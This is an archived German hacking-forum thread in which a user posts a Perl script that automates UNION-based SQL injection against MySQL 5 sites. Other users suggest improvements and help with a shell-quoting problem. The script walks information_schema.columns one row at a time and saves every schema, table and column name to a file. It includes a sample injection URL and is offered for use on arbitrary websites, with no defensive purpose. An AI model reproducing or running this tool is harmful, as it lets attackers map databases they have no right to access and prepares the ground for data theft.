PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [Perl] Information_Schema.Columns Extractor



xant0x
01.03.2009, 11:06
Ich habe ein kleines Programm in Perl geschrieben, das euch bei SQL Injections hilft. Es ist noch relativ ausbaubar....
Wenn ihr also eine SQL Injection mit der Version 5 habt und alle Tabellen und Columns Namen speichern wollt, so könnt ihr dieses Programm verwenden:



#!/usr/bin/perl
# Written by xant0x

use LWP::UserAgent;
my $uA = LWP::UserAgent->new;

usage();

$page = $ARGV[0];
$filename = $ARGV[1];

print "\n";

die("[-] Invalid usage!\n")unless($filename);

$page =~ s/l33t/concat(CHAR(108,51,51,116),concat_ws(0x3a,table_sc hema,table_name,column_name),CHAR(108,51,51,116))/;


for($i=0; ; $i++)
{
my $final = "http://".$page."+from+information_schema.columns+limit+".$i.",1+--+";
my $attack = $uA->get($final);
die("[~] End ... \n")unless($attack->content =~ m/l33t(.*?):(.*?):(.*?)l33t/i);
my $dance = $1.":".$2.":".$3."\n";
open(file, ">>".$filename);
print $dance;
print file $dance;
}

close (file);




sub usage()
{
print q
{
################################################
MySQL 5 information_schema.columns Extractor
- Written by xant0x -
################################################
Usage: info_schema.pl [Page with Injection] [Filename]
Sample: perl info_schema.pl www.site.com/page.php?id=-666+union+select+1,l33t,3,4,5,6 site_columns.txt

# l33t is the column which appears on the page


};
}

#eof
Achja, entschuldigt mich bitte für das Englisch ^^

Feedback ist erwünscht!

Lidloses_Auge
01.03.2009, 11:09
Ansich immer nützlich, was ich aber bei mir noch drin hab, ist ein ARGV für Hochkomma/Plus und das Kommentarzeichen am Ende, da -- nicht immer die gewünschte Wirkung erzielt.
Das macht das ganze dann noch variabler.

Was ich bei meiner Version noch drin hab, ist ne Übergabe von der Anzahl der Columns, und der Stelle der Ausgabe, damit kann man sich dann wunderbar ein Query zusammenbasteln.

mfg

xant0x
01.03.2009, 11:54
Danke für das Feedback Lidloses_Auge.
Ich werde das ganze demnächst noch variabler machen.

Nur sehe ich gerade, dass es bei einer solchen URL Probleme gibt:
www.site.com/index.php?action=show&id=8
Der Befehl "id" ist entweder falsch geschrieben oder konnte nicht gefunden werden

Hat jemand eine Idee was ich dagegen machen kann?
Bin gerade etwas ratlos ...

Lidloses_Auge
01.03.2009, 12:06
Setz das ganze beim Aufruf in Anführungsstriche dann passts ;)

xant0x
01.03.2009, 12:11
Ah jetzt funktionierts.
Vielen Dank.

Edit:
Ich hab gerade einen kleinen Fehler gefunden:
Es wurde nicht überprüft ob in ARGV[1] der Filename drin ist.
Habe es jetzt oben verbessert.